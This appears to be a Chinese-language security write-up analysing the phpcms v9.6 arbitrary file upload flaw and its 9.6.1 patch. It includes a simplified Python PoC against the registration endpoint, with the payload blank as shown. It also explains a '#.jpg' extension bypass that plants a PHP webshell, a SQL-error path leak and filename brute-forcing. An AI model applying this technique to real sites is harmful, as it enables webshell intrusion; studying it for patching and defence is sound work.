0x00 漏洞概述漏洞簡介
前幾天 phpcms v9.6 的任意文件上傳的漏洞引起了安全圈熱議,通過該漏洞攻擊者可以在未授權的情況下任意文件上傳,影響不容小覷。phpcms官方今天發布了9.6.1版本,對漏洞進行了補丁修復.
漏洞影響
任意文件上傳
0x01 漏洞復現
本文從 PoC 的角度出發,逆向的還原漏洞過程,若有哪些錯誤的地方,還望大家多多指教。
首先我們看簡化的 PoC :
import re import requestsdef poc(url): u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url) data = { 'siteid': '1', 'modelid': '1', 'username': 'test', 'password': 'testxx', 'email': 'test@test.com', 'info[content]': '
', 'dosubmit': '1', } rep = requests.post(u, data=data) shell = '' re_result = re.findall(r'
', rep.content) if len(re_result): shell = re_result[0] print shell
可以看到 PoC 是發起注冊請求,對應的是 phpcms/modules/member/index.php 中的 register 函數,所以我們在那里下斷點,接著使用 PoC 并開啟動態調試,在獲取一些信息之后,函數走到了如下位置:
通過 PoC 不難看出我們的 payload 在 $_POST['info'] 里,而這里對 $_POST['info'] 進行了處理,所以我們有必要跟進。
在使用 new_html_special_chars 對 <> 進行編碼之后,進入 $member_input->get 函數,該函數位于 caches/caches_model/caches_data/member_input.class.php 中,接下來函數走到如下位置:
由于我們的 payload 是 info[content] ,所以調用的是 editor 函數,同樣在這個文件中:
接下來函數執行 $this->attachment->download 函數進行下載,我們繼續跟進,在 phpcms/libs/classes/attachment.class.php 中:
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename); $newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value);}
函數中先對 $value 中的引號進行了轉義,然后使用正則匹配:
$ext = 'gif|jpg|jpeg|bmp|png';...$string = new_stripslashes($value);if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;
這里正則要求輸入滿足 src/href=url.(gif|jpg|jpeg|bmp|png) ,我們的 payload (
)符合這一格式(這也就是為什么后面要加 .jpg 的原因)。
接下來程序使用這行代碼來去除 url 中的錨點: $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); ,處理過后 $remotefileurls 的內容如下:
{C}
可以看到 #.jpg 被刪除了,正因如此,下面的 $filename = fileext($file); 取的的后綴變成了 php ,這也就是 PoC 中為什么要加 # 的原因: 把前面為了滿足正則而構造的 .jpg 過濾掉,使程序獲得我們真正想要的 php 文件后綴。
我們繼續執行:
程序調用 copy 函數,對遠程的文件進行了下載,此時我們從命令行中可以看到文件已經寫入了:
shell 已經寫入,下面我們就來看看如何獲取 shell 的路徑,程序在下載之后回到了 register 函數中:
可以看到當 $status > 0 時會執行 SQL 語句進行 INSERT 操作,具體執行的語句如下:
也就是向 v9_member_detail 的 content 和 userid 兩列插入數據,我們看一下該表的結構:
因為表中并沒有 content 列,所以產生報錯,從而將插入數據中的 shell 路徑返回給了我們:
上面我們說過返回路徑是在 $status > 0 時才可以,下面我們來看看什么時候 $status <= 0,在 phpcms/modules/member/classes/client.class.php 中:
幾個小于0的狀態碼都是因為用戶名和郵箱,所以在 payload 中用戶名和郵箱要盡量隨機。
另外在 phpsso 沒有配置好的時候 $status 的值為空,也同樣不能得到路徑。
在無法得到路徑的情況下我們只能爆破了,爆破可以根據文件名生成的方法來爆破:
僅僅是時間加上三位隨機數,爆破起來還是相對容易些的。
0x02 補丁分析
phpcms 今天發布了9.6.1版本,針對該漏洞的具體補丁如下:
在獲取文件擴展名后再對擴展名進行檢測
0x03 參考 https://www.seebug.org/vuldb/ssvid-92930 [漏洞預警]PHPCMSv9前臺GetShell (2017/04/09)
|